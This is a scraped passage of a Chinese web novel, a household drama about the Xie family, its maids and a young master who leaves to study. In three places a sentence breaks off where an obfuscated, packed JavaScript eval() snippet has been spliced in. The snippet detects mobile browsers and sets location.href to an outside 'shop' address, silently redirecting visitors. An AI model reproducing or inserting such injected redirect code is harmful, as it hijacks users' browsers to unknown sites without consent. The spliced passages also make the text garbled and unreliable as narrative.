喜和踌躇片刻，避重就轻道：“她...毕竟是女儿出事，她心中记挂着，总要处置完才来您跟前回话。” “你不必替她遮掩，她到底跟了我几十年，让她明儿过来，我有事吩咐她。” 喜和跟庆和共事几十年，是从小到大的交情，见袁英华还肯叫庆和到跟前伺候，方才开颜笑道：“是，夫人是菩萨心肠。” 袁英华哼了一声，抚上碧玉戒面：“我算什么佛，我不渡人，人也别来渡我。” 王庆和是她的心腹，手里握了多少见不得人的事，一荣俱荣一损俱损，没得为了这件事就让她和自己离了心。她女儿犯下大错，再没了旁的指望，当然要收紧心思、死心塌地为自己办事。 最近一连串的事，总叫她心里不安定，用了中公的银子在外头私放印子钱，还是要小心谨慎得好。赶明儿就让庆和先将那大笔的慢慢收回来，等风声过了再说。 喜和看袁英华稍平了心绪，朝着春蝉使了眼色，将药又端了过来。 袁英华拧着眉头喝了半碗，连连摆手。 喜和又让屋外的小丫头赶紧上了冰糖燕窝，她知袁英华心里为着谢坤的事情不痛快，只好捡着她爱听的话来说：“前儿宋师傅说了大少爷近来学问长进，等大少爷高中，还怕老爷的心思不会转圜么？” 果然，袁英华听了这话，眉心舒展两分：“是了，坤儿成亲之后懂事不少，不光是宋师傅，就连他舅舅都夸他功课长进。蓉娘近日可还好，没再和坤儿闹脾气吧？” 她一语罢了，说曹操曹操便到，门口的小丫鬟通传道：“夫人，大奶奶来了。” 门口小丫鬟打起帘子的声响还未落，袁荣娘人未到，声先至，语带娇嗔：“姑母！” 她姿容寻常，但打扮得极是俏丽，穿海棠红缕金百蝶穿花裙，腕带金镶玉镯，胸挂红宝石水晶璎珞，梳牡丹髻，插两支赤金嵌红宝步摇，行动间流光溢彩，生生把这略显沉肃的屋子都衬亮堂了几分。 她是袁英华的娘家侄女，嫁过来不过半年，因着这层亲缘，在姑母跟前向来比旁人随意些，性子也娇，眼里揉不得沙子。 “怎的这时候过来了？还有，怎么又叫姑母，该叫母亲才是。”袁英华脸上露出温和笑意，只是那笑意未达眼底。 她心里并不十分喜欢这个侄女过于外露的小性子，遇事便慌，受点委屈就要掉泪珠子，终究是欠些沉稳，撑不起大事的气度。 但袁荣娘毕竟是娘家人。 是她兄长精心养大、又十里红妆送进谢府的女儿。这层血脉，便是最牢靠的纽带。 荣娘再娇气，再不懂事，她的荣辱也系系在自己这个姑母身上。比起那些各怀鬼胎的姨娘仆妇，一个有着相同姓氏、共享娘家荣耀的侄女，终究是不同的。 这般想着，她看向袁荣娘的目光便软了几分。 袁荣娘闻言也从善如流地改了口：“母亲。” 她今日来是另有要事，也顾不上这些小节，挨着袁英华坐下，帕子在手里绞了又绞，眼圈竟有些微微发红：“母亲，您可得给荣娘做主！” “这是怎么了？”袁英华语气关切，“谁给你气受了？坤儿呢？” “别提他！”袁荣娘声音陡然拔高，又意识到失态勉强压了压，却更添委屈，“他又要了个丫鬟回院里，有院里的紫笋、银针还不够，又弄来个妖妖娆娆的莲香！” 袁荣娘说着气得落下泪来，胡乱抹了又道：“我嫁进来还不到一年，这还是在老夫人的孝里，他就敢这样乱来...” “胡闹，他可给那丫鬟开了脸？”袁英华被她哭得心烦，又见她越说越不顾忌，赶紧呵止。 她疾言厉色叫袁荣娘吓了一跳，拿着帕子呆愣地摇摇头：“那倒没有。” “既然没有，不过是到院里当差，也值得你这般着急？你是正头奶奶，要有容人的雅量。” 袁荣娘一听这话，又起了气性：“当差？找个借口蒙人罢了。” “您不知道，那蹄子一回来，就借口收拾书房在里头磨蹭了足足一个时辰。坤哥下晌回来，连我屋里都没进，径直就去了书房！这哪里是当差，这分明是...”她到底年轻面嫩，后头那话羞愤得说不出口，只咬着唇，“怕是要不了多久，就得爬上床，成了姨娘了！” 袁英华看她这副模样，心里也暗怪儿子不知节制。屋里早有两个通房丫头，如今还在孝里，荣娘又是她嫡亲的侄女，就这般不给脸面。 可若是强压着，又怕他脾气上来，母子离心。 “好了，别哭了。”她拉过袁荣娘的手，轻轻拍了拍，那戒指上贴着荣娘手背，凉意沁人，“一个丫鬟罢了，还能翻过天去？坤儿只是一时新鲜，你越闹，他反倒越上心。” 她顿了顿，语气放缓：“你要紧的是怀个孩子，有了依傍，任他屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162451|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添多少人也动不了你的根本。至于那莲香...” 袁荣娘听她这话，心里怄气道，什么叫屋里添多少人！果然这做姑母和做婆婆就是不一样，若是谢玉棠嫁的夫婿也左一个往房里添人，右一个往屋里纳妾，她也会是这番说辞？ 袁英华不知她心中腹诽，继续说道：“至于那莲香，清月阁不是刚好走了个白芍，就让她替上...” 话音未落，虚掩的房门“砰”地一下从外边踹开！ 楠木门扇撞在墙上，震得门楣上灰尘簌簌落下。袁英华抬头见了来人，心头猛地一跳，暗道不好。 谢渊不知何时立在门口，面沉如水，一双眼阴鸷地盯着袁英华，像要把人给活吞了。 “老爷，何时来的？”袁英华浑身血都似凉了半截，压下翻涌的心惊，脸上迅速堆起温婉的笑意，扶着榻沿起身，“怎么也不叫人通传一声？” 房里的下人登时忙起来，春蝉去倒茶，春蜓去挑熏笼里的炭，袁英华接了茶盏双手奉上：“这是新沏的玉露茶，正好去去寒气。” 谢渊斜睨她一眼，撩了衣摆在榻上坐下，粗声道：“不必了。” 袁荣娘起身行礼，便站着不动，只偶尔掀起眼皮，似乎还想留着看热闹。只是袖子被后头的嬷嬷牵扯，她撅了噘嘴只好道：“爹娘，夜深了，儿媳就先告退了。” 她心不甘情不愿地草草福身，喜和也带着丫鬟们尽数退出屋外，房门合拢，屋里只剩两人。 “老爷冷着一张脸做什么。”袁英华坐到谢渊身边，捧了茶又递过去。 谢渊见外人走了，看也不看那茶，怒道：“我若不来，倒不知原来你就是体恤我的儿子。” 袁英华放了茶盏：“老爷这是说得什么话。” “前脚刚分了手脚不干净的丫头去清月阁，后脚就琢磨着再丢一个易生事的过去，我说得就是这个话！” 袁英华略一凝眉，猜度着方才前头坤儿和丫鬟的混账事该是没让谢渊听见，张口辩道：“老爷可是误会了，莲香自小进府，做事规矩。我是想清月阁走了个丫鬟，正是需要个沉稳妥当的人填补空缺。莲香在坤儿书房伺候过笔墨，识得几个字，性子也安静，不似那些轻狂浮躁的。” 她这番解释听来也合情合理，谢渊盯着袁英华，从她坦然的面容上也找出丝毫作伪痕迹，总算是放缓了声音：“不必了，我拨了锦绣过去，她是老太太跟前伺候过，是个得体周全的。” 袁英华眼底晃过一丝讥讽，口中却道：“老夫人调教得人自然是好的，老爷这般安排最是妥当。” 谢渊接了她的茶又道：“再拨两个干事利索的婆子过去，别叫外头人以为我谢渊待子不公。” 袁英华见谢渊听信了自己的话，又软下声音道：“老爷这话可是在怪我？柳氏身故，是老爷下令发落了清月阁那些下人，之后...” 谢渊也不耐烦听她这些车轱辘话，只一摆手道：“行了，过去的事不必提了，日后你能将培儿的事放在心上就好。” 26. 京里来人 白芍走后，清月阁的人又填补上来。 除了锦绣，又另来了两个婆子，一个姓陈，一个姓李，都是四十上下的年纪，瞧着很是利索干净，只管做些洒扫清洗一类的粗活。 锦绣花了半日将清月阁一干人等、所有事物都摸了个一清二楚，这才重新将活计分派下去。 青芝专司茶水点心，兰儿管理衣物缝补，连珠识得笔墨纸砚，依旧留心书房大小活计。 其实问了院里的三个丫头，知道连珠善女红，还会烹茶煮汤。又想起当初在静修斋连珠的行事条理分明，真就恨不能将她一个人劈作三个用。 她心想，怨不得三少爷向着连珠，性子和顺，又有能耐，长得还这般貌美讨喜。 “你们也不必怕我，相处久了就知，人都说我方枘圆凿，但我也不是不通情理之人。” 锦绣立在阶前，声音温温和和地开了口，目光将檐下立着的连珠、青芝、兰儿，并两个垂手侍立的婆子都笼了一圈，“我是初来，往后却要长长久久在清月阁伺候。咱们关起门来，便是一处当差，一处吃饭，荣辱与共的人。三少爷性子宽厚，不喜苛责下人，你们应当比我要更清楚。咱们做奴婢的，别辜负了主子的这份仁厚。差事做得好，三少爷自然看在眼里。若有疏漏，或存了别样心思...” 她说到这里，顿了顿才道：“那就像是白芍一样，不给自己，也不给旁人留体面了。” 几个丫鬟都连声应是。 锦绣是干实事的人，也不在她们面前多耍威风，吩咐之后便让人散了。 兰儿和青芝挤着连珠回了屋里，两人连出了几口气。 她们原先是铜盆撞了铁扫帚，谁也不让谁。但经了几件事，青芝又刻意讨好着连珠，反而同兰儿两人关系慢慢变得亲厚起来。 “这回可真是来了尊真佛，她说话声音不大，却叫我浑身吓得哆嗦。”青芝抚着手臂，仍有些后怕。她从前跟着白芍，挑事磨牙，做了些摆不上台面的事。眼见着白芍被锦绣三两下地制服，又赶出府去，心中对上这位就总有些畏惧。 “你以后少闲话两句才是真。”兰儿瞧她吓得那个样子，忍不住笑她。 青芝哪肯被她落了面子，伶牙俐齿地立马回嘴道：“你话也不少！” “那也没你话多。” “你话才多。” 两人说着胸顶着胸小孩儿似的就要掐起来，连珠用胳膊将两人隔开，嘴里道：“方才锦绣姐姐说得话，你们这么快就忘了？这么大的声，好叫她听见，再训一顿！” 这话一出，青、兰二人也不闹了，各自去忙各自的事务。 谢培虽然仍在府学，但马上就要年下，府学也要提前放假，到时要回府常住一个月的时间，吃穿住行的东西都要提前备下。 今时不同往日，谢培得大老爷看中，年节要用的东西都齐全地送到了清月阁。 一身沉香色软缎的长袍，内里缝了小湖羊的软毛。一件宝蓝底元宝花纹的潞绸披风，围帽、衣边都镶了厚厚的白狐狸毛。还配着一副灰鼠皮的手筒，并一双厚底黑绒面的羊皮靴。 另有两床崭新絮了丝绵的被褥，一色秋香绿的锦缎面儿，单独的布匹更不必说，都是上好的料子。 送东西来的管事明白地道：“这些都是老爷亲自吩咐从库里挑出来的，给三少爷年下备用。老爷说了，三少爷在学里辛苦，回来自当好生歇息，缺什么短什么，尽管再提。” 跟着来的还有冬生，他捧着两匹布站在后头，眼睛一个劲地往连珠那儿瞧。 秋后，他没见过连珠一面。 即便是二门外的那场大戏，也恰逢他去外头办事给错过了。 这会儿见连珠站在锦绣身后，只露出半边身子，却也不妨他偷偷地看。 不过月余，他就觉得连珠比自己印象里又好看了几分，虽然穿得最素净，头上也只编了个红绳，但看来就最是出众。 他瞧着瞧着，连管事说话让把东西拿进屋都没听见，旁边的柱子给了他一腿，才叫他回过神来，左脚绊右脚地将东西送进屋里。 “行了，就放在这儿。” 锦绣不让他们在屋里多待，放了东西就叫出去。 连珠跟在锦绣身边收点这些财物，冬生连看她几眼才恋恋不舍地跨出门去。 “走啦！眼睛都要掉下来了，你真是癞蛤蟆想吃天鹅肉！”柱子又给了他一腿，小声在他身边说道。 “我...我没...” 管事早走在前头，两人在身后小声说话。 “还没呢，哈喇子都要流下来了，你倒是眼光高，看上那个叫连珠的吧。”柱子猛地一顶冬生的手肘，瞧着他一脸坏笑。 他们虽是小厮，吃住都在二门外，但毕竟常跟着管事在内院做些重活，少不得会见到各房的丫鬟。 都是半大小子血气方刚，干完活聚在二门倒座房后头的墙根下晒太阳、嚼舌根，话题绕来绕去，总少不了那些穿红着绿的身影。 秋枝皮肤白，桃儿腰肢细... 冬生不喜听他们污言秽语，每每听见都捂耳躲开，竟不知他们也议论起连珠。 柱子见冬生红透了脸，又道：“我可是听说三少爷爱重她，说不定以后就成奶奶了，你还是别想了！” 冬生瞪圆了眼睛看他，不敢置信，耸起的肩膀一下就耷拉下来。 “真的？” “我也是听三少爷身边的金环说，那是三少爷跟前的小厮，总不会有假吧！” 冬生身子又矮了两分，刚要再问得清楚些，就听柱子朝廊外一指：“瞧，京里来人了！” 两人探头望去，几个门房小厮小跑着迎了出去。 一排青毡骡车，轱辘压过石板路，行至侧门停下。廊后下人引颈望着，低声议论。冬生和柱子也看得咋舌，这般阵仗，比往年都要气派。 京中二房这回只来了谢湛身边的管事王丰，带了十多个长随雇了商船带着几十箱的京城特产回了延洲。 本还以为二房今年不回是出了什么事，原是谢湛官升一级，任按察使司副使。 王丰半弯着腰在谢渊跟前，话里带着掩不住的与有荣焉：“回禀大老爷，我家老爷原本是打算亲自回延洲祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170846|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖，到老太太陵前磕头请安的。只是临近年关，吏部的文书忽然下来了，蒙圣上隆恩，擢升为按察使司副使。交接公务、拜谢上官、同僚庆贺，诸般事宜实在脱不开身，老爷特命小的赶回来，务必向大老爷、太太告罪，待来年定携夫人回府补上。” 他说着，从怀中取出一封封口信双手奉上：“这是老爷的亲笔书信，里头细细说明了情由。老爷再三嘱咐，万望大老爷体谅。” 谢渊接过信，并未立即拆看，只放在手边炕几上：“升迁是喜事，自然是公务要紧。二弟在京城不易，能有今日，也是他勤勉所致。对了，他新婚延洲送去的礼可收到了。” “收到了，老爷和夫人也特意让小的再谢过大老爷和大太太的厚礼。”王丰回了话，又拿册子奉上，“这回老爷也备了京中特产让带来，吃的有干腌鹿、干鹿筋、鹿尾、獐、狍、东鹅、东鸭、乳油、乳酒。给太太和各位奶奶小姐，是内造新式的宫花，宝香斋的玫瑰香露、茉莉头油，珐琅镯子、戒指，另有一些零碎吃食玩意儿。” 王丰又道：“老爷还特意让带了一对西洋来的玻璃炕屏，上头画着西洋风景，颜色鲜亮，说是给府里添个新鲜景致。” 谢渊点头道：“二弟有心了。” 他体恤王丰路途辛苦，让来金带着人下去休息。待人走了，他拆开那信，只看了两眼就心中不快地扔到一边。 二房在京城官运亨通，出手越发阔绰体面，真是春风得意马蹄疾。可惜自己已年近五十，是仕途无望了。 不过想到那些谣传，他心口的气儿又顺了一些，人生不如意事十之八九，注定的！ 京里来了人，又千仓万箱地运了那么多东西，消息早传了半个府。 兰儿从大厨房回来，人多口杂地听了许多，回来半点也忍不住，放了食盒就拉了连珠磨牙。 “那箱子海了去了，在大厨房外头堆得跟山一样，听说都是乾岭山里的野味，还有乳酒、血燕，都是难得的好东西！”兰儿越说越是兴奋，好像那些上好的食材她都有份尝上一口。 青芝也听得咽口水，搬了椅子坐到旁边一掀盖子，看见还是以往的菜色，瞬间又失望地丢了盖子。 “有好东西也轮不上咱们。不过等三少爷回来，说不定能舍些让我们尝尝味。” 兰儿又道：“不光是吃的，说是还有京里的香露、香乳，跟咱们平时用得都不一样，滑腻透肤不说，还能留香不散，是新夫人特意给太太小姐们买的。” 连珠听到这里，不由摇头暗叹，二夫人病逝满打满算也不足一年，新妇就已经进门。豪门世家里，原配故去后续弦是常事，老爷们身边也少不了人伺候，可这般急切，情薄如纸，听了叫人心里堵的慌。 她又想起静修斋小舍里飘起的那一沓纸钱，那二少爷该是比她的心还要堵吧。 青芝也啐了一口，说男人无情，对那位新夫人更有兴趣。 兰儿挠了脑袋：“我倒不知道，只听说是原先二夫人的什么亲戚，对了，京里的人说二少爷和二老爷大吵一架，已是不住在一处了。” “真的！？” 27. 除夕 又一年除夕，谢府上下早早便笼罩在一片喧嚣而有序的忙碌中。 金徽堂下挂了贴着金箔福字的大红灯笼，照得飞檐上的积雪都泛着暖融融的红光。 天色未暗，各房各院的少爷小姐按着长幼尊卑陆续落座，而后到的是两房的老爷夫人。除了各色珍馐流水般呈上，还特请了戏班来热闹。 头戴如意冠、身穿红蟒袍的天官唱念做打，都是吉祥如意的贺词。 “福地自有福人来，禄星高照天门开...” 那把声儿传到清月阁这里，已是听不清什么戏文，只是丝竹之声还悠悠转转，余韵悠长。 小厨房的八仙桌边兰儿跟着哼了几声，摆菜的手却不停。桌上除了大厨房照例分给各房下人的年节席面，另有几个从外边酒楼添的肉菜，是谢培特意叫的。 青芝也凑了跟前，一看多出的两道是三鲜鹌鹑和清蒸鲳鱼。 那蒸腾的香气扑鼻，兰儿喜道：“都是好菜，还是三少爷疼咱们！” 那陈、李两个婆子也连连称是，不迭声地赞谢培是菩萨座前金童心地良善。 青芝撇撇嘴，翻了个眼，想兰儿果真真是个憨的。这两道菜清淡鲜汤，都是紧着连珠的胃口订的，哪里是疼她们，明明是疼连珠罢了。自己头先的打算还是不错，总要时时刻刻奉承着连珠，将来说不得还要看她的脸色吃饭。 她刚要殷勤捧着连珠说两句，就听锦绣掀帘子进来，又闭了嘴规规矩矩地站到一边。 毕竟年节，锦绣再一板一眼脸上也带了笑模样。她温言让几人坐下，只道：“今儿除夕，大家聚在一处也松快松快，我托大，先敬各位一杯。” 她说着倒了半杯温米酒，又执壶要给连珠等人斟上。 连珠、兰儿等都有些受宠若惊，忙不迭地用手虚掩杯口，连声道：“不敢劳烦锦绣姐姐。” 锦绣却笑道：“一年到头，咱们一处当差也是缘分，今日不拘那些。”到底给每人杯中都浅浅斟了一些。 “这第一杯，愿咱们清月阁，来年一切顺遂，各人平安康健。”她说得诚心，又一饮而尽，众人也都跟着喝了。 要说喝酒，还是上一世的事，米酒度数不高，但连珠这身子不适酒劲，一杯下去脸色便艳了。 那陈姓婆子寻常不说话，饮了酒倒放开了，连着给众人斟酒。即便是锦绣拦着，连珠还是被灌了两杯。 这下不光是脸，一双眸子也水濛濛的，脑筋转得慢的厉害。 “连珠...” “景春...” “景春，除夕夜你还不多陪我喝两杯。” “太妃，您都喝了一壶了，不能再喝了。” “你这丫头，自己不喝就算了，还劝着我不喝！”太妃甩开她的手，提着酒壶就踉跄两步卧到窗边的美人榻上，指着那漆黑的夜空得意道，“你瞧，等不了一炷香的时间，皇城外头就要热闹起来了，那烟火一簇簇的，照得比白日还亮堂。” “诶，烟火！” 连珠早醉酒趴在桌上，已是分不清叫着一齐去看烟火的是太妃还是兰儿。 京城居北，景致风情都与延洲大不相同，没有江南水乡的和柔婉约，但除夕的喧闹繁华都是一样的。各条街巷鞭炮爆竹声响不断，商铺楼宇无不张灯结彩。 富贵人家更是丝竹管乐、酒肉飘香。 独烟花下落，照亮东青巷的谢府花厅，厅里摆开一桌年夜饭，有些冷清。 谢湛着常服，居主位。 他官威日重，面容却比在延洲时更见清癯。 新进门的继室秦如云倒是身子丰腴，替谢湛布了菜，又要去帮谢玉柯盛汤。 “行了，你身子重，自己坐下，这些事让下人做吧。”谢湛见她忙个不停，皱着眉头道。 秦如云小心地觑了觑谢湛的脸色，她知道他这些时候心中一直不快，只好坐下夹了一筷子嫩嫩的鸡肉放到他碟中，柔声开口道：“老爷，今儿毕竟是除夕，团圆夜...垚儿他，如今也在京里，要不要打发个人去兵部衙署请一请？纵然有些不是，大节下的，一家人总该吃顿饭。” 谢玉柯将到及笄的年纪，已是褪去了少女的青涩，杏脸柳眉，目剪秋水。听到秦如云的话，心中的喜色露在脸上。 兄长搬出去已有半年之久，自己同他只见了寥寥数面，要是连除夕夜都不得相见...娘亲已经不在了，这家还成什么家？ 谢湛不似谢玉柯，执箸的手顿在了半空，脸色倏地沉了下去。 “请什么请！”他将筷子重重搁在银筷枕上，吓得谢玉柯肩膀一缩，“他眼里可还有这个家？可还有我这个父亲？” 秦如云不敢接话，只默默低下头。 谢湛胸口起伏了几下，还是按捺不住：“简直是荒唐透顶！好好的读书种子，举人功名在身上，明年春闱本是十拿九稳，光宗耀祖指日可待！他倒好，一声不吭，书也不读了，试也不考了，钻营着不知走了谁的门路，竟跑到兵部去补了个从六品的主事。那是他该去的地方吗？那是武夫、还有那些不晓事的荫补子弟混迹之处，他这是要把列祖列宗的脸都丢尽！” 从延洲回京之后，父子两个相争几次，矛盾更是在秦如云进门之后彻底激化。谢垚同谢湛闹翻，只带了顺心顺意和母亲身边的两个丫鬟离府另住。 入职兵部，那是谢湛调任按察使司之后的事，他也是从人口中得知。 在人前还不好表露一腔的怒意，等回府之后秦如云问起，只呕出四个字：“自甘堕落！” “哥哥他...” 谢玉柯想替谢垚辩解几句，就见秦如云冲她使了眼色，接过话头：“垚儿或许是一时想左了，年轻人，总有些自己的念头。兵部主事...好歹也是个正经官职。” “正经官职？”谢湛冷笑，“那是断送前程，自绝于清流！他原本是要...” 他想说，自己这儿子原本是有入阁之相的啊！ 他再想到这些时日京中关于谢垚同那些三教九流的市井谣言，一撇头，狠下心来：“他既要和那些混帐厮混下去，就随他，只要他别来碍我的眼就好！” 谢垚并不如他所想，干什么斗鸡走狗吃喝嫖赌的勾当。 蘅芜巷的一进小院，厢房里灯影如豆。院墙外隐约传来街市的喧嚣和炮仗声，越发显得屋内冷清。 谢垚独坐桌前，碗筷都还干净，酒已喝了半壶。 顺心立在身边，揉了揉脑门，这除夕刚过，就是夫人的忌日，也难怪少爷如此伤心。 他又往屋外看了一眼，也不知顺意拿个东西怎就那么慢，让他一个人呆站这儿。 他看着谢垚又饮尽一杯酒，想劝又劝不得。 少爷也是命苦，夫人刚过，老爷就另娶，娶得还是夫人表亲。这娶得是表亲也就罢了，进府就传了怀孕的喜讯...顺心忍不住小声叹口气。 “少爷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182007|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺心胡思乱想着就听见顺意的声音，果见他风尘仆仆、喘着粗气快步进了屋里。 他是去拿少爷专程让人从延洲买来的东西，油纸的包裹，上头还盖着个红戳。 “少爷，东西送来了。” 顺意将包裹放在桌上，掀开就见那绿荣荣的兰香豆蓉糕大半都碎了。他嘴角牵扯几下，下意识又要把油纸再盖上：“定是路上颠簸，都坏了。” 谢垚瞧他那慌张的模样，终于是哼出一声笑：“行了，还能吃，你和顺心拿几个菜去吃吧，我这边不用人了。” 顺心和顺意知他吩咐下来就是说一不二，两人不挑，各拿了两碟菜。 走出几步，顺心又回望谢垚一眼，掂量着手里油润的肘子道：“你说少爷这是闹得哪一出，这么好的饭菜不吃，吃延洲送来的什么糕点，那糕还能有肉好吃？” 顺意瞥他道：“你胆子大了，少爷的事也敢乱说。” “嘿嘿，我这不是心疼咱们少爷嘛！” 糕点比不比肉好吃，谢垚倒没想那么多，只是念及母亲，他就想到在延洲尝过的这个味道。 糕盘炊香饼饵甜，他大抵是想家了。 —— 正月初一，天刚蒙蒙亮，外头守岁的爆竹声稀落起来，各房的院里都有了声音，下人们伺候着主子起床准备祭祖。 连珠早早起身，用铜盆打了热水，又去外间取了青芝昨夜就熨烫妥帖、熏过香的新衣。 捧着衣裳走进东梢间时，谢培已经醒了，正倚在床头望着她出神。 昨夜吃酒回来，他硬拉着连珠在窗边赏了一阵月，前言不搭后语说得都是心窝里的话。 现下看她，又想起昨夜月洒玉容，心中鼓动。自姨娘去后，只有连珠全心为他，不因他是谢府的少爷，也不因他得了什么案首头名。他心肠冷硬，独对上连珠一片柔情，想要说些缠绵情语，又怕唐突了她。 “三少爷新年吉祥。”连珠福了福身，笑着道贺。 谢培咧嘴一笑，也祝她新年如意。说完起身下榻，在连珠身前自然地张开双臂。 连珠踮起脚，仔细地帮他穿衣。 晨光熹微，熏炉里的炭将熄未熄，谢培微微垂眼就能看见连珠鸦翅般浓密的睫，能闻到她身上淡淡的皂角清气。 他已经比她高了。 这个认识让谢培莫名高兴，他想过了孝里，再等中了举，就将连珠收进房里，他想同她长长久久地待在一处。 不是主仆，而是坐时促膝倾谈，卧时交颈而眠。 他想到这里，正看着连珠半弯下腰替他扣了腰带，她黑缎般的长发只绾了个髻，在脑后编成一条粗长的发辫，一条鲜亮的红绳在发尾绕了几圈。髻上干干净净的，只簪了一个银刻菊花的小发梳。 他忽而问：“怎么不戴那个簪子？” 连珠按着搭扣的手一顿，知道谢培说的是那支碧玺簪子，那簪子贵重，她这个身份哪好日日戴着，更何况她还想留着卖钱。 “那簪子贵重，我平日做活毛手毛脚磕了碰了，可不是坏了。” 她话刚说完，就见谢培抽出她手里的腰带，扭身往床铺探去，从枕头边取来个盒子。 那盒子在她跟前打开，里头放着个金累丝嵌珠蝴蝶簪。 谢培牵了她的手让她去拿那簪子，他温言软语，恨不能将满心的欢喜并着这个簪子一起送给连珠。 他说：“坏了就戴这个。” 28. 谋定而后动 簪子是谢培早让玉缘斋做得的，他画的款，又亲挑了二十八颗圆润饱满的珍珠，合了连珠的名字。放在身边，想找个机会送给连珠，又怕她误会这是赏，拖来拖去就到了年里。 那簪子上的珍珠不算大，但颗颗均匀、光泽莹润。虽比不得太妃那些内造的东珠发簪，但总要百两之数，如此贵重，连珠竟是连拿都不敢拿了。 “怎么？欢喜得呆了？还是要我亲自给你簪？”谢培看她粉唇微启，也似酒酣耳热一般，双颊飞红。 听谢培这话，连珠觉得越发不像样了。刚穿来时，她心态不同，总觉得自己还是上辈子如枯木死灰般的妇人，看着谢培就如同看着孩儿一般。 但两年日日对镜梳妆，她慢慢习惯现在的模样，也看着谢培一日一日地长大成人。寻常他不在府里，可只要回来就镇日留她在身边，回春堂的乳膏送了，天香楼的席面赏了。就连他身边得力的金环，见着自己也姐姐长姐姐短的恭敬非常。 她就是再眼不明心不亮也咂摸出味来了。 这小子过了年才将将十四啊！要是自己的孩儿，上着学脑袋里还想着这点鸳鸯绮梦，她定要一巴掌下去，让他清醒清醒。 可他是三少爷，是她的主子。 她不仅不能打，说话还得小心顾忌着：“三少爷说笑了，这样贵重的东西该是太太小姐才能用的，连珠戴这样贵重的簪子，一来与身份不合，恐惹人非议。二来这东西放在我身边，只怕是日夜悬心，反而不安呢！” 连珠说着避开他的目光，又退了一步：“三少爷赏赐够多了，连珠已是铭感五内，这簪子还是请收x回去吧。” 谢培闻言，脸上的笑已经是淡了。 他心悦连珠，要不是克制着心性，盼着再中个举人狠狠地再打一回暮香堂的脸，也怕这时候收了个丫鬟叫人拿住口实，他早就对连珠表明心意。 他以为连珠心里对他也是一样的心思。 谢培个子见天地向上蹿，模样也成熟不少，只是摆出一副额蹙心痛、郁郁不乐的模样，又像是没长大的孩子。连珠想说几句软话，叫他快活起来，偏听他先开了口：“过了元宵，我就要起身去平江。” “平江书院新近请来在策论上极有名望的沈大儒开讲。父亲已替我安排妥当，去那边访师游学。” 原本谢渊倒没打算让谢培行那么远，想着府里现成一位大儒，教一个也是教，两个也是教，让培儿偶去请教些学问也不妨什么。 他还没张口，谁知那位宋先生就提前说了要归家一趟。 无法，谢渊只能将那打算咽了回去。 巧得很，和同僚一桌喝酒，席间有人提到当年二十岁进士及第，两朝为官的沈夫之在平江书院任山长。 “沈公当年进士及第点入翰林，历经两朝，外放做过封疆，回京掌过部务，致仕前已是内阁学士，多少书院捧着束脩去请，都被他婉拒了，只愿在江南老家著书课孙。如今肯出山，是难得的机会！你能得其指点一二，便是天大的造化！” 谢培学问扎实，也不缺灵气，只少些开阔眼界和大师点拨。若去了平江，沾得沈夫之一二分雨露，于科举一途，便是莫大的助益。何况，平江书院本身亦是江南名校，学风醇厚，去那里游学一两年，亦是能静心向学，实在是一举两得。 谢渊现在事事以谢培考学为先，已经是打点好一切。昨夜他在席上特提了这事，谢培也是欣喜万分，当即应道：“儿定当勤勉向学，不负父亲苦心安排。” 只是应下之后，他才缓缓想到自己要去许久，那连珠呢？ 手里拿着簪子，分量沉甸甸的，一如他沉甸甸的心。 “至少要去一年。” 谢培看连珠离他不过两步，却好似千百丈远，再想到此去一年，将手中那支簪子又往前递了递，声音里带着无奈的低诉，连他自己都未曾察觉其中近乎恳求的意味：“我这一去，便是整整一年。平江府路远，书院规矩也严，年节都未必能回来。” 他顿了顿，目光落在连珠低垂的眸上，说得她眼睫微颤：“你的生辰是二月七，那时候...我定是不在的...” 这般将自己伏低到尘埃里，一团难以言喻的感情猝不及防地撞上心口，让连珠鼻尖微微发酸。 两年多的辰光就是捂块石头也热了，连珠本不是绝情绝义之人，更何况谢培还真心待她。 屋中一时寂静，谢培看她默不作声，但脸上的神色已是软了下来。他上前一步，勾手拉住连珠的袖尖，像之前撒娇那般轻晃。 “就当是...我提前送你的生辰礼，也不行么？” 连珠坐在窗边，手里是那支金累丝嵌珠的蝴蝶簪。 谢培乘车走了已有半个时辰，身边只带了金环一个，另外吃喝银钱、四季常服、笔墨纸砚也略带了一些。行囊简朴，全不似谢府少爷远游的排场。 金环坐在外头，偶尔回头觑一眼车厢内，只见自家三爷倚着车壁，手里握着一卷早已翻旧了书册，心不在焉。 行车之苦，谢培并不在意。若说幼时被姨娘宠着还有几分娇生惯养的性子，这三年凄苦无依，早将他磨砺得能忍受诸多不便。 至于苦学，他牵扯嘴角，心底甚至涌起一股跃跃欲试的劲头。 